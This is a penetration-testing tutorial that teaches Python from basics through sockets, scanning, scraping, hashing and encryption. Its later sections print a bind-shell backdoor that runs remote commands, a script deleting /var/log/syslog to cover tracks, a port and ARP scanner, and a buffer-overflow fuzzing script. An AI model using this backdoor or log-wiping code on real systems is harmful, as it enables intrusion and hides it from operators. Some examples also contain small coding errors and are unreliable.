Python Basics for Pentesters

The entirety of this guide was written by Martian Defense, LLC

Introduction to Python

Python is a high-level, interpreted, and general-purpose dynamic programming language. It is often used as a scripting language because of its forgiving syntax and compatibility with a wide variety of different systems and libraries. In this section, we will review the basic building blocks of Python, from understanding the Python interpreter, syntax, to building simple functions, classes, and modules. These fundamentals will serve as your foundation in using Python for penetration testing.

Python is an interpreted language, which means that it is processed at runtime by the interpreter. You can use the Python interpreter in two ways:

  • Interactive mode

  • Script mode

Interactive mode

In interactive mode, you type Python code and the interpreter displays the result:

$ python
>>> print("Hello, Earth!")
Hello, Earth!
>>> 

Script mode

In script mode, you store code in a file and use the interpreter to execute the contents of the file:

$ python hello.py
Hello, Earth!

Syntax

Python was designed to be easy to understand and fun to use. Its syntax is clear and it has a distinct style guideline, PEP 8, which promotes readability.

Variables and Data Types

Python has several fundamental data types:

Numeric Types: int, float, complex

  • Boolean Type: bool

  • Text Type: str

  • Sequence Types: list, tuple, range

  • Mapping Type: dict

  • Set Types: set, frozenset

  • You can assign any data type to any variable:

x = 5             # int
y = 2.8           # float
z = "Hello"       # str
is_true = True    # bool
points = [1, 2, 3] # list

Nonprimitive Data Types

  • List: Any data that is enclosed within square brackets ( [ ] ) and separated by a comma is considered a list. In Python, the objects in a list are indexed, where the first object in the list starts with index 0, the proceeding object is 1, and so on.

    >>> devices = ["ASA", "NEXUS", "CATALYST", "ASR"]
  • Tuple: Any data that is enclosed within parenthesis ( ( ) ) and separated by a comma is considered a tuple. Tuples are immutable, meaning that data is stored in a tuple cannot be modified at run time. The following is a tuple of IP addresses.

    >>> ip_addr = ("10.254.0.1", "10.254.0.2", "10.254.0.3")
    >>> ip_addr[1]                                                                                                          
    '10.254.0.2'
    >>> ip_addr[1] = "10.254.1.2"
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: 'tuple' object does not support item assignment
  • Dictionary: Any key-value pairs that are enclosed in curly brackets ( { } ) and separated by a comma is a dictionary. The following dictionary has keys that are equal to interface names and values with the desired state of the interface.

    >>> if_state = {"Gi0/1":"shutdown", "Gi0/2":"no shutdown"}
  • Set: A collection of unique objects that is enclosed curly brackets ( { } ) and separated by a comma is considered a set.

    >>> if_names = {"Gi0/1", "Gi0/2", "Gi0/3", "Gi0/1"}
    >>> if_names
    {'Gi0/1', 'Gi0/2', 'Gi0/3'} 

Primitive data types can be converted to other primitive types using built-in functions, assuming that the converted value is valid.

>>> bool(1)
True
>>> int(False)
0
>>> float("3.14")
3.14

Some nonprimitive data types can also be converted to other (similar) data types. For example, a list can be converted to a set or a tuple but cannot be converted to a dictionary.

>>> devices= ["ASA", "NEXUS", "CATALYST", "NEXUS", "asa"]
>>> set(devices)
{'NEXUS', 'ASA', 'asa', 'CATALYST'}

As shown in the output, the devices list contains a duplicate entry of "NEXUS", but it was removed when converted to the set data type. Note that set removes items based on case sensitivity. The previous output shows that 'ASA' and 'asa' are still present in the set because they are different values.

It is possible to convert a list to a tuple, but the variable that holds the converted tuple can no longer be modified. Here you can see an example:

>>> cisco_devices = tuple(devices)
('ASA', 'NEXUS', 'CATALYST')
>>> cisco_devices
('ASA', 'NEXUS', 'CATALYST', 'NEXUS', 'asa')
>>> cisco_devices[-1] = "FTD"
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'tuple' object does not support item assignment

It is not possible to convert one data type to another if the converted value is invalid. For example, an error will be raised if you attempt to convert a list to a dictionary. Here is an example of such an error:

>>> dict(devices)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: dictionary update sequence element #0 has length 3; 2 is required

Each data type that was mentioned previously supports different built-in methods and attributes. To list the methods that can be used on a particular data type, create a variable with that type and then issue the dir() built-in method. Here you see an example of methods that can be used on the string data types.

>>> vendor = "Cisco"
>>> dir(vendor)
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

If you want to convert a string to all capital letters, you need to use the upper() method.

>>> vendor.upper()
CISCO

To learn how to use each method, you can use the help() function.

>>> help(vendor.upper)

Help on built-in function upper:
upper(...)
    S.upper() -> string
Return a copy of the string S converted to uppercase.

Now you have an understanding of the different data types that Python supports. You can expand that knowledge with the following slightly more advanced topic: nested nonprimitive data types.

Nested data structures are only applicable to nonprimitive types. Each nonprimitive type can contain the same or other nonprimitive data types as nested entries.

For example, a nested list can contain a dictionary as a nested item:

>>> if_state = ["Gi0/1", [{"state": "shutdown"}]]

To access the value inside the nested list without looping through the list, you first need to identify its position in the list. Because lists are ordered, and the positions, starting from 0, are incremented from left to right by 1, the position for the nested dictionary will be 1.

Now, to refer to the position, you need to put an integer within the square brackets:

>>> if_state[1]
[{"state": "shutdown"}]

However, that will only give you the [{"state": "shutdown"}] item, because it is also a list, and has only one value that can be referenced with its positional number:

>>> if_state[1][0]
{"state": "shutdown"}

At this point, what remains is a dictionary. Now you can print the value of the key by appending the name of the key to the variable that precedes the position in the list:

>>> if_state[1][0]["state"]
shutdown

Now, consider a nested dictionary. As you know, dictionaries are not sorted, so the position of a key cannot be referenced. Instead, it can be referenced directly by specifying its name and enclosing it in square brackets. Here is an example:

>>> facts ={"csr1kv1": {"os":"ios-xe", "version":"16.09.03"}, "if_state": [{"name": "Gi0/1", "state":"shutdown"}]}

You can obtain nested values that are stored under each root key. In this example, start with csr1kv1. To return the value stored in the key, you enclose the key’s name in square brackets and append it to the variable.

>>> facts["csr1kv1"]
{"os":"ios-xe", "version":"16.09.03"}

The returned value is another dictionary. To return the value of the nested key, you need to add its name after the name of the root key.

>>> facts["csr1kv1"]["os"]
ios-xe
>>> facts["csr1kv1"]["version"]
16.09.03

Now consider the second root key. As you can see, the value is a list, so you need to act accordingly. You need to obtain the value, pick the position within the list, and then use the key name to return the value.

>>> facts["if_state"]
[{"name”: "Gi0/1", "state":"shutdown"}]
>>> facts["if_state"][0]
 {"name": "Gi0/1", "state":"shutdown"}
>>> facts["if_state"][0]["name"]
Gi0/1

Understanding how to find the position in nested lists is crucial in day-to-day programming, especially when dealing with API calls.

Control Structures

Control structures determine the flow of your program. They include conditionals (if, elif, else) and loops (for, while).

# if else condition
if x > y:
    print("x is greater than y")
else:
    print("y is greater than x")

# for loop
for i in points:
    print(i)

# while loop
i = 0
while i < 5:
    print(i)
    i += 1

Functions

A function is a block of code which only runs when it is called. Functions provide better modularity for your application and a high degree of code reusing. You can define functions using the def keyword:

def greet(name):
    print("Hello, " + name)

greet("Martian")

Classes

Python is an object-oriented language and classes provide a means of bundling data and functionality together. Creating a new class creates a new type of object, allowing new instances of that type to be made:

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def greet(self):
        print(f"Hello, my name is {self.name} and I am {self.age} years old.")

person = Person("Martian", 25)
person.greet()

Modules

A module allows you to logically organize your Python code. Grouping related code into a module makes the code easier to understand and use:

# math_module.py
def add(x, y):
    return x + y

def subtract(x, y):
    return x - y

You can then import this module in another script:

# main.py
import math_module

print(math_module.add(5, 3)

Network Programming

In penetration testing, network programming is a crucial skill. With Python, you can write scripts that can sniff network packets, perform network scans, and execute other related tasks. In this section, we will review the fundamentals of network programming in Python.

Socket Programming

A socket is one endpoint of a two-way communication link between two programs running on a network. Python provides a robust library, socket, which provides us with socket operations. Here's a basic server-client program example:

Server:

import socket

# Create a socket object
s = socket.socket()

# Define the port on which you want to connect
port = 12345

# Bind to the port
s.bind(('', port))

# Wait for the client connection
s.listen(5)

while True:
   # Establish a connection with the client
   c, addr = s.accept()
   print('Got connection from', addr)
   
   # Send a thank you message to the client
   c.send(b'Thank you for connecting')
   
   # Close the connection
   c.close()

Client:

import socket

# Create a socket object
s = socket.socket()

# Define the port on which you want to connect
port = 12345

# Connect to the server on local computer
s.connect(('127.0.0.1', port))

# Receive data from the server
print(s.recv(1024))

# Close the connection
s.close()

TCP and UDP Connections

There are two main types of Internet protocol (IP) traffic, and they are TCP (Transmission Control Protocol) and UDP (User Datagram Protocol). In Python, we can set up both types of connections with the socket module.

TCP Connection

TCP is a reliable connection-oriented protocol that guarantees the successful delivery of data. Here's a basic TCP client-server program:

Server:

import socket

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Define the port on which you want to connect
port = 12345

# Bind to the port
s.bind(('', port))

# Wait for client connection
s.listen(5)

while True:
   c, addr = s.accept()     
   print('Got connection from', addr)
   
   c.send(b'Thank you for connecting')
   
   c.close()

UDP Connection

UDP is not a connection-oriented protocol. Unlike TCP, it doesn't confirm whether the data reached the receiver or not. Here's a basic UDP client-server program:

Server:

import socket

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Define the port on which you want to connect
port = 12345

# Bind to the port
s.bind(('', port))

while True:
   # Receive data from the client
   data, addr = s.recvfrom(1024)
   print('Received', repr(data), 'from', addr)
   
   # Send data to the client
   s.sendto(b'Thank you for connecting', addr)

Client:

import socket

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Define the port on which you want to connect
port = 12345

# Send data to the server
s.sendto(b'Hello, server', ('127.0.0.1', port))

# Receive data from the server
print(s.recvfrom(1024))

s.close()

Network Scanning

Network scanning is a process of identifies active hosts (clients and servers) on a network and their ports. In Python, we can use the socket module to perform this task. For instance, the following script checks for open TCP ports on a target host:

import socket

def port_scanner(host, port):
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.settimeout(1)
   result = sock.connect_ex((host, port))
   sock.close()
   return result == 0

# Sample usage
host = '127.0.0.1'
for port in range(1, 1025):
   if port_scanner(host, port):
       print(f'Port {port} is open')

Web Scraping

Web scraping is a technique to extract data from websites. It involves making HTTP requests to the URLs of specific websites and then parsing the response (HTML) to pull out the information you need. Python provides several libraries to simplify web scraping, including requests for making HTTP requests and BeautifulSoup for parsing HTML.

HTTP Requests

The first step in web scraping is to send a HTTP request to the URL of the webpage you want to access. When a browser sends a request to a server, it's basically asking that server to send it a webpage. In Python, the requests library is commonly used for making HTTP requests.

The following example demonstrates how to use requests to make a GET request:

import requests

# Make a GET request
response = requests.get('https://www.example.com')

# Print the status code
print(response.status_code)

# Print the response
print(response.text)

The get() function sends a GET request to the specified URL and returns a Response object. This object contains the server's response to your request. You can get the content of the response with response.text, and the HTTP status code with response.status_code.

HTML Parsing

Once you have accessed the HTML content of the webpage, you can use it to extract the data you need. This is known as parsing. Python has several libraries for parsing HTML, including BeautifulSoup and lxml.

BeautifulSoup is a Python library for parsing HTML and XML documents. It transforms a complex HTML document into a tree of Python objects, such as tags, navigable strings, or comments.

Here is an example of how to use BeautifulSoup to parse HTML content:

from bs4 import BeautifulSoup
import requests

response = requests.get('https://www.example.com')

# Create a BeautifulSoup object and specify the parser
soup = BeautifulSoup(response.text, 'html.parser')

# Find the first <h1> tag in the HTML
h1_tag = soup.find('h1')

# Print the text of the first <h1> tag
print(h1_tag.text)

In this example, BeautifulSoup(response.text, 'html.parser') creates a BeautifulSoup object and specifies the parser. soup.find('h1') finds the first <h1> tag in the HTML.

Handling Cookies and Sessions

In some cases, you may need to maintain a session between multiple requests to the same website. For example, you might need to log in to a website and then access a specific page that requires authentication. The requests library provides a Session object to handle this.

A Session object allows you to persist certain parameters across requests. It also persists cookies across all requests made from the Session instance.

Here is an example of how to use a Session object to log in to a website and then access a protected page:

import requests
from getpass import getpass

# Create a new Session object
s = requests.Session()

# URL for the login page
login_url = 'https://www.example.com/login'

# Data for the login form
login_data = {
    'username': input("Enter your username: "),
    'password': getpass("Enter your password: "),
}

# Send a POST request with the form data
s.post(login_url, data=login_data)

# Now you can access a protected page
response = s.get('https://www.example.com/protected_page')

print(response.text)

Working with Web APIs

Web APIs (Application Programming Interfaces) provide a way for applications to interact with each other. They expose parts of their service over the network, allowing other software to request data or perform actions.

You can interact with a Web API by sending HTTP requests, just like you do when you're scraping a webpage. The only difference is that, instead of getting HTML content in response, you get data in a machine-readable format, like JSON.

Here is an example of how to send a GET request to a Web API and parse the JSON response:

import requests
import json

# Send a GET request to a Web API
response = requests.get('https://api.example.com/data')

# Parse the JSON response
data = json.loads(response.text)

# Print the data
print(data)

File Handling

In the process of penetration testing, you often need to read from files (like configurations, wordlists, etc.) or write results to files. Python has powerful built-in features for file handling, which include methods for creating, reading, updating, and deleting files.

Opening Files

In Python, you use the built-in open function to open a file. The open function takes two parameters: the name of the file, and the mode for opening the file.

# Open a file for reading
f = open('myfile.txt', 'r')

# Open a file for writing
f = open('myfile.txt', 'w')

# Open a file for appending
f = open('myfile.txt', 'a')

# Open a file for reading and writing
f = open('myfile.txt', 'r+')

Reading Files

Once you have opened a file for reading, you can use the read, readline, or readlines method to read the file's content.

# Read the entire file
content = f.read()

# Read one line of the file
line = f.readline()

# Read all lines of the file
lines = f.readlines()

for line in lines:
    print(line)

Note: Don't forget to close the file when you're done with it!!:

f.close()

Writing Files

To write to a file, you open the file in write ('w') or append ('a') mode, and then use the write method.

# Open the file for writing
f = open('myfile.txt', 'w')

# Write to the file
f.write('Hello, Earth!')

# Close the file
f.close()

Keep in mind that opening a file in write mode will overwrite the existing content of the file. If you want to add to the existing content instead, open the file in append mode.

Working with JSON Files

JSON (JavaScript Object Notation) is a popular data format that is often used for communication between a server and a client, or between different parts of a single application. Python includes the json module which allows you to read and write JSON data.

import json

# Some data
data = {
    'name': 'Martian',
    'age': 25,
    'location': 'Mars'
}

# Write JSON data to a file
with open('data.json', 'w') as f:
    json.dump(data, f)

# Read JSON data from a file
with open('data.json', 'r') as f:
    data = json.load(f)

print(data)

In the above example, json.dump(data, f) writes JSON data to a file, and json.load(f) reads JSON data from a file.

Error Handling

When working with files, errors can occur for many reasons, such as the file not existing, the user not having enough permissions, etc. It's important to handle these errors in your code to prevent your program from crashing.

Python provides the try/except statement to catch and handle exceptions. Here is an example:

try:
    # Try to open a file
    f = open('non_existent_file.txt', 'r')
except FileNotFoundError:
    # Handle the error
    print('The file does not exist')

In this example, if opening the file fails because the file does not exist, Python raises a FileNotFoundError exception, which is then caught and handled by the except block.

Cryptography and Hashing

Cryptography is a fundamental part of cybersecurity and is essential for maintaining the confidentiality, integrity, and authenticity of data. It involves encoding, decoding, hashing, and password cracking which are key aspects of penetration testing.

Understanding Hashing

Hashing is a technique used to convert any data into a fixed size of unique data. The result of a hash function is called a hash value or simply, a hash. A good hash function ensures that the change of even a single bit of input will result in a significant change in the output.

Generating Hashes with Python

Python's hashlib module provides a variety of hashing algorithms including md5, sha1, sha256, and more. Here is an example of generating a hash with sha256:

import hashlib

# Data to hash
data = "Hello, Earth!".encode()

# Create a new sha256 hash object and update the hash object with the data
hash_object = hashlib.sha256()
hash_object.update(data)

# Get the hexadecimal representation of the hash
hex_dig = hash_object.hexdigest()
print(hex_dig)

Working with Password Hashes

In many cases, especially during penetration testing, we come across hashed passwords. Python can be used to generate and compare password hashes. The bcrypt library is a powerful, flexible library for hashing passwords. Here is an example:

import bcrypt

# Password to hash
password = "my_password".encode()

# Generate a salt and hash the password; print the output
salt = bcrypt.gensalt()
hashed_password = bcrypt.hashpw(password, salt)
print(hashed_password)

# Check if a password matches the hashed password
if bcrypt.checkpw(password, hashed_password):
    print("It's a match!")
else:
    print("It's not a match!")

Cryptography

Cryptography involves encrypting and decrypting data. Encryption transforms data into an unreadable format using an encryption algorithm and an encryption key. Decryption transforms the data back into its original format using the same encryption algorithm and a decryption key.

Symmetric Encryption and Decryption

In symmetric encryption, the same key is used for both encryption and decryption. Python provides several libraries for symmetric encryption, including cryptography. Here's how to use it for AES (Advanced Encryption Standard) encryption and decryption:

from cryptography.fernet import Fernet
# Generate a key
key = Fernet.generate_key()
# Create a cipher object
cipher = Fernet(key)
# Data to encrypt
data = "Hello, world!".encode()
# Encrypt the data
encrypted_data = cipher.encrypt(data)
print(encrypted_data)
# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)

print(decrypted_data.decode())

Asymmetric Encryption and Decryption

In asymmetric encryption, also known as public key cryptography, two different keys are used for encryption and decryption. The cryptography library also supports asymmetric encryption:

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding

# Generate a key pair
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)

public_key = private_key.public_key()

# Data to encrypt
data = "Hello, world!".encode()

# Encryption
encrypted_data = public_key.encrypt(
    data,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

print(encrypted_data)

# Decryption
decrypted_data = private_key.decrypt(
    encrypted_data,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

print(decrypted_data.decode())

Python Libraries for Penetration Testing

Scapy

Scapy is a powerful Python library for packet manipulation. It allows you to forge or decode packets of a wide number of protocols, send them over the wire, capture them, and match requests and replies.

Here's an example of how to create an ICMP Echo request (a "ping") with Scapy:

from scapy.all import *

# Create an IP and ICMP packet object
ip = IP(dst="8.8.8.8")
icmp = ICMP()

# Stack them and send
packet = ip/icmp
send(packet)

Impacket

Impacket is a library for working with network protocols, which is highly effective when it comes to creating packet-level tools or working with network services. Impacket supports protocols like IP, TCP, UDP, ICMP, IGMP, ARP, and protocols used by higher-level services like SMB, MSRPC, and others.

Here's an example of using Impacket to connect to an SMB service:

from impacket.smbconnection import SMBConnection

# Create an SMB connection object
conn = SMBConnection('192.168.0.1', '192.168.0.1')

# Log in with a username and a password
conn.login('username', 'password')

# List shared drives
print(conn.listShares())

Requests

Requests is a library for making HTTP requests. It abstracts the complexities of making requests behind a beautiful, simple API, so that you can focus on interacting with services and consuming data in your application.

Here's an example of how to use requests to make a GET request:

import requests

# Make a GET request
response = requests.get('https://www.example.com')

# Print the content
print(response.status_code)
print(response.content)

BeautifulSoup

BeautifulSoup is a Python library for parsing HTML and XML documents. It's often used for web scraping, which is a method of extracting data from websites.

Here's an example of how to use BeautifulSoup to extract all links from a webpage:

from bs4 import BeautifulSoup
import requests

# Make a GET request
response = requests.get('https://www.example.com')

# Parse the HTML content and find all <a> tags
soup = BeautifulSoup(response.content, 'html.parser')
a_tags = soup.find_all('a')

# Print the href attribute of each <a> tag
for tag in a_tags:
    print(tag.get('href'))

Building a Testing Tool with Python

Basic Network Scanner

By combining the Python concepts and libraries we've discussed so far, you can create your own powerful penetration testing tools. In this section, we will develop a simple yet effective network scanner as an example.

Tool Overview

Our network scanner will perform two main tasks:

  1. Discover all the devices connected to the same network.

  2. Scan the open ports of a given device.

For this, we will mainly use the Scapy library for packet generation and manipulation.

Writing the Network Scanner

import scapy.all as scapy
import argparse
import threading

# Parser
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", dest="ip", help="Specify IP or IP range.")
args = parser.parse_args()

# Scan the network
def scan_network(ip):
    # Send an ARP request to all devices in the network
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    # IP and MAC address output 
    print("IP\t\t\tMAC Address\n----------------------------------------------------")
    for element in answered_list:
        print(element[1].psrc + "\t\t" + element[1].hwsrc)

# Scan for open ports
def scan_ports(ip, port):
    tcp_header = scapy.TCP(sport=scapy.RandShort(), dport=port, flags="S")
    ip_header = scapy.IP(dst=ip)
    packet = ip_header / tcp_header

    response = scapy.sr1(packet, timeout=1, verbose=0)

    if response:
        if response.haslayer(scapy.TCP) and response.getlayer(scapy.TCP).flags == 0x12:  # 0x12 indicates SYN/ACK flags, open port
            print(f'Port {port} is open.')

# Check IP address
if not args.ip:
    parser.error("[-] Please specify an IP address or range, use --help for more info.")
else:
    print(f"[*] Scanning {args.ip}...\n")
    scan_network(args.ip)

    # Port Range
    ports = input("[*] Enter range of ports to scan (e.g., '1-100') or individual ports separated by commas (e.g., '22,80,443'): ")

    if '-' in ports:
        start_port, end_port = map(int, ports.split('-'))

        # Run threads
        for port in range(start_port, end_port + 1):
            thread = threading.Thread(target=scan_ports, args=(args.ip, port))
            thread.start()

    elif ',' in ports:
        ports = map(int, ports.split(','))

        for port in ports:
            thread = threading.Thread(target=scan_ports, args=(args.ip, port))
            thread.start()

Post-Exploitation with Python

Post-exploitation refers to the phase where an attacker (or penetration tester) has already gained access to a system and might need to maintain that access, escalate privileges, gather more information, or cover their tracks. For this section, we will discuss how Python can be used for such tasks.

Maintaining Access

Once a penetration tester gains access to a system, maintaining that access is crucial. Python provides several methods to accomplish this, such as creating backdoors.

A backdoor is a script that allows an attacker to bypass normal authentication methods. Please note that creating or using a backdoor is illegal and unethical without proper authorization. The following example is for educational purposes only:

import socket
import subprocess

# Create a socket object
s = socket.socket()

# Define the host and the port on which we will listen for connections
host = 'localhost'
port = 12345

# Bind the socket to our specified host and port
s.bind((host, port))

# Listen for connections
s.listen(1)
print(f'Listening for incoming connections on {host}:{port}')

# Accept the connection
c, addr = s.accept()
print(f'Connection from: {str(addr)}')

while True:
    # Receive/execute command and send output back to the client
    command = c.recv(1024)
    output = subprocess.getoutput(command)

    c.send(output.encode())

Privilege Escalation

Privilege escalation involves gaining elevated access to resources that are typically protected from an application or user. There are two types of privilege escalation: horizontal and vertical. Horizontal escalation involves taking over another user's access rights, while vertical escalation involves elevating the privileges of the current user account.

Here is a simple script that checks if the current user has root privileges:

import os

# Check if the current user has root or administrator privileges
if os.geteuid() != 0:
    print("You need to have root privileges to run this script.\nExiting.")
    exit(1)
else:
    print("You have root privileges!")

Information Gathering

Python is excellent for gathering more information from a compromised system. For instance, it can be used to list all directories and files, read specific files, fetch system and network information, and much more. Here's a simple script to fetch system information:

import platform

# Get system info
system_info = platform.uname()

print(f"System: {system_info.system}")
print(f"Node Name: {system_info.node}")
print(f"Release: {system_info.release}")
print(f"Version: {system_info.version}")
print(f"Machine: {system_info.machine}")
print(f"Processor: {system_info.processor}")
python

Covering Tracks

Covering tracks is an important part of post-exploitation. It involves deleting or altering logs that can indicate a system intrusion.

Here's a simple script that deletes a log file:

import os

# Specify and delete the log file
log_file = "/var/log/syslog"
os.remove(log_file)

Buffer Overflow Vulnerabilities with Python

A buffer overflow happens when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Python can be used to create scripts that exploit these vulnerabilities in controlled and ethical hacking scenarios. In this section, we will provide a basic understanding of how to use Python to exploit buffer overflow vulnerabilities.

Understanding Buffer Overflow

Buffers are areas of memory set aside to hold data, often while moving it from one section of a program to another, or between programs. Buffer overflows can often be triggered by malformed inputs; if one assumes all inputs will be smaller than a certain size and the buffer is created to accommodate that, an anomalous transaction that produces more data could cause it to overflow. This can cause the data to leak into other buffers, which can corrupt or overwrite the data they were holding.

Building a Buffer Overflow Exploit

Here's an example of how you might create a Python script to exploit a buffer overflow vulnerability. The script will generate a long string of 'A's and send it to the target process. If the process does not correctly handle input of this length, it may overflow its buffer, causing a crash or other unexpected behavior.

import socket

# Create a TCP/IP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Define the target parameters
target_host = "localhost"
target_port = 12345

# Create a long string of 'A's
buffer = 'A' * 1000

# Connect to the target and send the long string of 'A's to the target
s.connect((target_host, target_port))
s.send(buffer.encode())

# Close the connection
s.close()

Please note that all scripts are highly simplified. In a real-world situation these would involve more complex techniques and understanding of the target system and application.

Last updated